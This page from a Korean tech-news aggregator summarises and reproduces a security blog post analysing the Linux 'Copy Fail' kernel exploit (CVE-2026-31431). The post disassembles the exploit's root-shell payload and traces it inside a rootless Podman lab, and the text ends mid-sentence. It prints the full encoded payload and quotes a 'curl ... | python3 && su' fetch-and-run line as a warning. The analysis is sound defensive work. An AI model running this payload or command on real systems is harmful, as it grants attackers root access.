메뉴
HN
Hacker News 26일 전

CVE-2026-31431 분석: Copy Fail 취약점과 루트리스 컨테이너

IMP
8/10
핵심 요약

2026년 5월에 공개된 리눅스 커널 취약점(Copy Fail)이 루트리스(Rootless) 컨테이너 환경에서 어떻게 권한 상승 공격을 차단하는지 분석한 글입니다. 공격자의 셸코드(Shellcode)를 역분석하여 악의적인 ELF 파일이 시스템 권한을 탈취하는 과정과, 이를 eBPF와 UID 매핑을 통해 실시간으로 추적 및 방어하는 원리를 다룹니다. 보안 실무자들에게 컨테이너 아키텍처의 중요성과 취약점 대응 메커니즘을 보여주는 중요한 자료입니다.

번역된 본문

CVE-2026-31431: Copy Fail vs. rootless containers 2026년 5월 4일

목차 소개 취약점 개요 셸코드(Shellcode) 분석 테스트 랩 구축 루트리스 Podman 설정 컨테이너 내부에서 익스플로잇(Exploit) 실행 익스플로잇 메커니즘 추적 루트리스 컨테이너가 권한 상승을 막아낸 이유 eBPF를 이용해 커널 동작 실시간 포착 uid_map 증명 결론

소개 이전에 게시된 SELinux MCS 및 GitLab Runner에 관한 글에서 저는 작업(Job)별 가상 머신(VM) 격리의 동기 부여 사례로 CVE-2026-31431("Copy Fail")을 잠시 언급한 바 있습니다. 그 글이 공개된 후 저는 주말을 이용해 실제로 익스플로잇을 실행해 볼 수 있는 테스트 랩을 구축하고, 시스콜(syscall) 수준에서 추적한 뒤, GNOME의 Runner에 배포한 루트리스(Rootless) Podman 아키텍처가 이 공격을 성공적으로 차단할 수 있는지 확인했습니다. 본 글은 셸코드를 역어셈블하는 과정부터 커널이 실시간으로 권한 상승을 거부하는 것을 관찰하는 전체 과정을 문서화합니다.

취약점 개요 근본적인 원인, scatterlist 메커니즘 및 공개 일정에 대한 전체 기술적 분석은 Theori의 훌륭한 분석 글(xint.io/blog/copy-fail-linux-distributions)을 참조하십시오. 이 블로그 글에서는 우선 공개된 익스플로잇에 포함된 셸코드를 분석한 다음, 루트리스 컨테이너 내부에서 이를 실행할 수 있는 랩을 구축하고 커널 수준에서 어떤 일이 발생하는지 추적할 것입니다.

셸코드 분석 취약점이 공개된 후 며칠 동안 많은 사람들이 셸코드가 실제로 무엇을 하는지 확인하지도 않고 자신의 시스템에서 익스플로잇을 실행하는 것을 보았습니다. 한 번도 코드를 검토하지 않은 GitHub 저장소의 압축된 바이너리를 실행하는 것은 결코 좋은 보안 관행이 아닙니다. 어떤 경우에는 권한 상승 과정에서 데이터를 유출하거나 백도어를 심어놓을 수도 있기 때문입니다. 그러므로 실행하기 전에 실제 셸코드에 무엇이 포함되어 있는지 살펴보겠습니다.

셸코드는 Python 익스플로잇 내에 압축되고 16진수(Hex)로 인코딩된 문자열로 포함되어 있습니다: 78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3

스크립트는 zlib.decompress()를 사용하여 이를 원시 바이트(Raw bytes)로 변환합니다. 페이로드를 추출하고 검사하기 위한 코드는 다음과 같습니다:

#!/usr/bin/env python3 import zlib

hex_str = "78daab77... (중략) ...10d3" compressed_bytes = bytes.fromhex(hex_str) raw_payload = zlib.decompress(compressed_bytes)

with open("shellcode.bin", "wb") as f: f.write(raw_payload)

print(f"Payload extracted: {len(raw_payload)} bytes")

추출된 바이너리에 file 명령어를 실행하면 예상대로 다음과 같은 결과를 확인할 수 있습니다: shellcode.bin: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked...

이것은 날것의(raw) 셸코드가 아니라 완전히 구성된 ELF 실행 파일입니다. 익스플로잇은 /usr/bin/su의 시작 부분을 이 작은 바이너리로 덮어씁니다. 운영체제가 su를 실행할 때 손상된 페이지를 페이지 캐시에서 로드하여 합법적인 유틸리티 대신 악의적인 ELF를 실행하게 됩니다.

표준 objdump -d shellcode.bin 명령은 익스플로잇 작성자가 ELF golfing(페이로드를 수십 바이트로 압축하기 위해 섹션 헤더를 제거하는 기술)을 사용했기 때문에 아무런 출력도 생성하지 않습니다. .text 섹션이 없으면 objdump는 동작을 중단합니다. 강제로 날것의 역어셈블을 수행하려면 다음과 같이 실행합니다: objdump -D -b binary -m i386:x86-64 shellcode.bin

처음 약 0x77바이트는 objdump가 어셈블리로 해석하려고 시도하는 ELF 헤더 데이터이며, 이는 의미 없는 add %al,(%rax) 명령어를 생성합니다. 실제 코드는 오프셋 0x78에서 시작합니다. 주석이 포함된 전체 역어셈블리는 다음과 같습니다:

setuid(0) 시스콜 (오프셋 0x78 ~ 0x7e): 78: 31 c0 xor %eax,%eax 79: 31 ff xor %edi,%edi 7c: b0 69 mov $0x69,%al 7e: 0f 05 syscall

xor %edi, %edi는 rdi를 0으로 설정합니다. 이는 시스콜의 첫 번째 인자입니다. mov $0x69, %al은 10진수로 105를 로드하며, 이는 리눅스 x64에서 setuid에 해당하는 시스콜 번호입니다. 마지막으로 syscall 명령어가 이를 실행합니다.

원문 보기
원문 보기 (영어)
CVE-2026-31431: Copy Fail vs. rootless containers 04 May 2026 Table of Contents Table of Contents Introduction The vulnerability Analyzing the shellcode Setting up the lab Setting up rootless Podman Running the exploit inside a container Tracing the exploit mechanism Why rootless containers stopped the escalation Catching the kernel in the act with eBPF The uid_map proof Conclusions Introduction In the previous post about SELinux MCS and GitLab runners, I briefly mentioned CVE-2026-31431 (“Copy Fail”) as a motivating example for per-job VM isolation. After that post went out I spent the weekend setting up a lab to actually run the exploit, trace it at the syscall level, and verify that the rootless Podman architecture we deploy on GNOME’s runners would contain it. This post documents the entire process: from disassembling the shellcode to watching the kernel reject the privilege escalation in real time. The vulnerability For a full technical breakdown of the root cause, the scatterlist mechanics, and the disclosure timeline, read Theori’s excellent writeup at xint.io/blog/copy-fail-linux-distributions . In this blog post we’ll initially analyze the shellcode embedded in the public exploit , then set up a lab to run it inside a rootless container and subsequently trace what happens at the kernel level. Analyzing the shellcode In the days following the disclosure I noticed a lot of people running the exploit on their systems without bothering to check what the shellcode actually does. Executing a compressed binary blob from a GitHub repository you have never audited is not a great security practice — for all you know it could be exfiltrating data or dropping a backdoor alongside the privilege escalation. So before running anything, let’s look at what the actual shellcode contains. The shellcode is embedded in the Python exploit as a compressed and hex-encoded string: 78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a 154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56 c3ff593611fcacfa499979fac5190c0c0c0032c310d3 The script uses zlib.decompress() to turn this into raw bytes. To extract and inspect the payload: #!/usr/bin/env python3 import zlib hex_str = "78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3" compressed_bytes = bytes . fromhex ( hex_str ) raw_payload = zlib . decompress ( compressed_bytes ) with open ( "shellcode.bin" , "wb" ) as f : f . write ( raw_payload ) print ( f "Payload extracted: { len ( raw_payload ) } bytes" ) Running file on the extracted binary confirms what we expect: shellcode.bin: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked... This is not raw shellcode — it is a fully formed ELF executable. The exploit overwrites the beginning of /usr/bin/su with this tiny binary. When the OS executes su , it loads the corrupted pages from the page cache and runs the malicious ELF instead of the legitimate utility. The standard objdump -d shellcode.bin produces no output because the exploit author used a technique called ELF golfing — stripping the Section Headers to compress the payload down to a few dozen bytes. Without a .text section, objdump gives up. To force raw disassembly: objdump -D -b binary -m i386:x86-64 shellcode.bin The first ~0x77 bytes are ELF header data that objdump tries to interpret as assembly, producing nonsensical add %al,(%rax) instructions. The actual code begins at offset 0x78 . Here is the full disassembly with annotations: The setuid(0) syscall (offsets 0x78 to 0x7e ): 78: 31 c0 xor %eax,%eax 79: 31 ff xor %edi,%edi 7c: b0 69 mov $0x69,%al 7e: 0f 05 syscall xor %edi, %edi sets rdi to 0 — the first argument for the syscall. mov $0x69, %al loads 105 (decimal), which is the Linux x64 syscall number for setuid . The syscall instruction executes setuid(0) . The execve("/bin/sh") syscall (offsets 0x80 to 0x8d ): 80: 48 8d 3d 0f 00 00 00 lea 0xf(%rip),%rdi 87: 31 f6 xor %esi,%esi 89: 6a 3b push $0x3b 8b: 58 pop %rax 8c: 99 cltd 8d: 0f 05 syscall lea 0xf(%rip), %rdi is a RIP-relative load — it looks 15 bytes ahead of the current instruction pointer, which lands exactly at offset 0x96 , the start of the /bin/sh string. xor %esi, %esi sets argv to NULL. The push $0x3b / pop %rax sequence is a golfing trick to load 59 ( execve ) in fewer bytes than mov rax, 59 . cltd sign-extends eax into edx , zeroing the third argument ( envp ) with a single byte. The final syscall executes execve("/bin/sh", NULL, NULL) . The clean exit (offsets 0x8f to 0x94 ): 8f: 31 ff xor %edi,%edi 91: 6a 3c push $0x3c 93: 58 pop %rax 94: 0f 05 syscall If execve somehow fails, the payload calls exit(0) (syscall 60) rather than crashing. The hardcoded string (offsets 0x96 to 0x9d ): 96: 2f (bad) 97: 62 69 6e 2f 73 (bad) 9c: 68 .byte 0x68 9d: 00 00 add %al,(%rax) objdump marks these as (bad) because it is trying to decode data as instructions. Converting the hex bytes 2f 62 69 6e 2f 73 68 00 to ASCII yields /bin/sh\0 — the null-terminated string that the lea instruction at offset 0x80 points to. Setting up the lab To reproduce the vulnerability I provisioned a Fedora 43 VM using virt-install . The kernel I had installed was 6.17.1-300.fc43.x86_64 , which predates the fix entirely — the patch was backported into the stable 6.19.x tree starting with 6.19.12, so the entire 6.17.x line is vulnerable. virt-install \ --name cve-2026-31431 \ --vcpus 4 \ --memory 4096 \ --disk path = /var/lib/libvirt/images/cve-2026-31431.qcow2,size = 20,bus = virtio,format = qcow2 \ --network bridge = virbr0,model = virtio \ --location 'https://download.fedoraproject.org/pub/fedora/linux/releases/43/Everything/x86_64/os/' \ --initrd-inject = /tmp/vm.ks \ --extra-args = "inst.ks=file:/vm.ks console=ttyS0,115200n8" \ --graphics none Setting up rootless Podman On the Fedora VM, I configured rootless Podman following the same patterns we use on GNOME’s GitLab runners — a dedicated podman system user with linger enabled, pasta for networking (the modern replacement for slirp4netns ), and a large Sub-UID/Sub-GID allocation. dnf install -y podman useradd -m podman usermod --add-subuids 100000-165535 --add-subgids 100000-165535 podman loginctl enable-linger podman su - podman -c 'podman run --rm alpine echo "Rootless Podman is working!"' Running the exploit inside a container Running strace inside a container requires two overrides: --cap-add=SYS_PTRACE (container runtimes drop this capability by default) and --security-opt seccomp=unconfined (the default seccomp profile blocks ptrace ). Without both, strace will fail immediately with PTRACE_TRACEME: Operation not permitted . I downloaded copy_fail_exp.py into a local directory beforehand — the /vuln mount in the command below points to that directory. Worth noting: I also saw people running the exploit via curl https://copy.fail/exp | python3 && su directly, which is just as reckless as running the shellcode without inspecting it first. Always download, read, and understand what you are about to execute. From the host VM as the podman user: podman run --rm -it \ --cap-add = SYS_PTRACE \ --security-opt seccomp = unconfined \ -v $( pwd ) :/vuln:Z \ -w /vuln \ fedora:43 bash Inside the container, I installed strace , created an unprivileged test user, and ran the exploit: dnf install -y strace python3 su -y useradd testuser chown testuser:testuser copy_fail_exp.py cp /root/copy_fail_exp.py /home/testuser su - testuser -c "strace -f -e trace=socket,bind,setsockopt,sendmsg,splice,execve,setuid -o python_trace.txt python3 copy_fail_exp.py" Tracing the exploit mechanism The strace output captured the exact mechanism by which the vulnerability corrupts the page cache. The exploit loops over the shellcode payload, writing it four bytes at a time into the i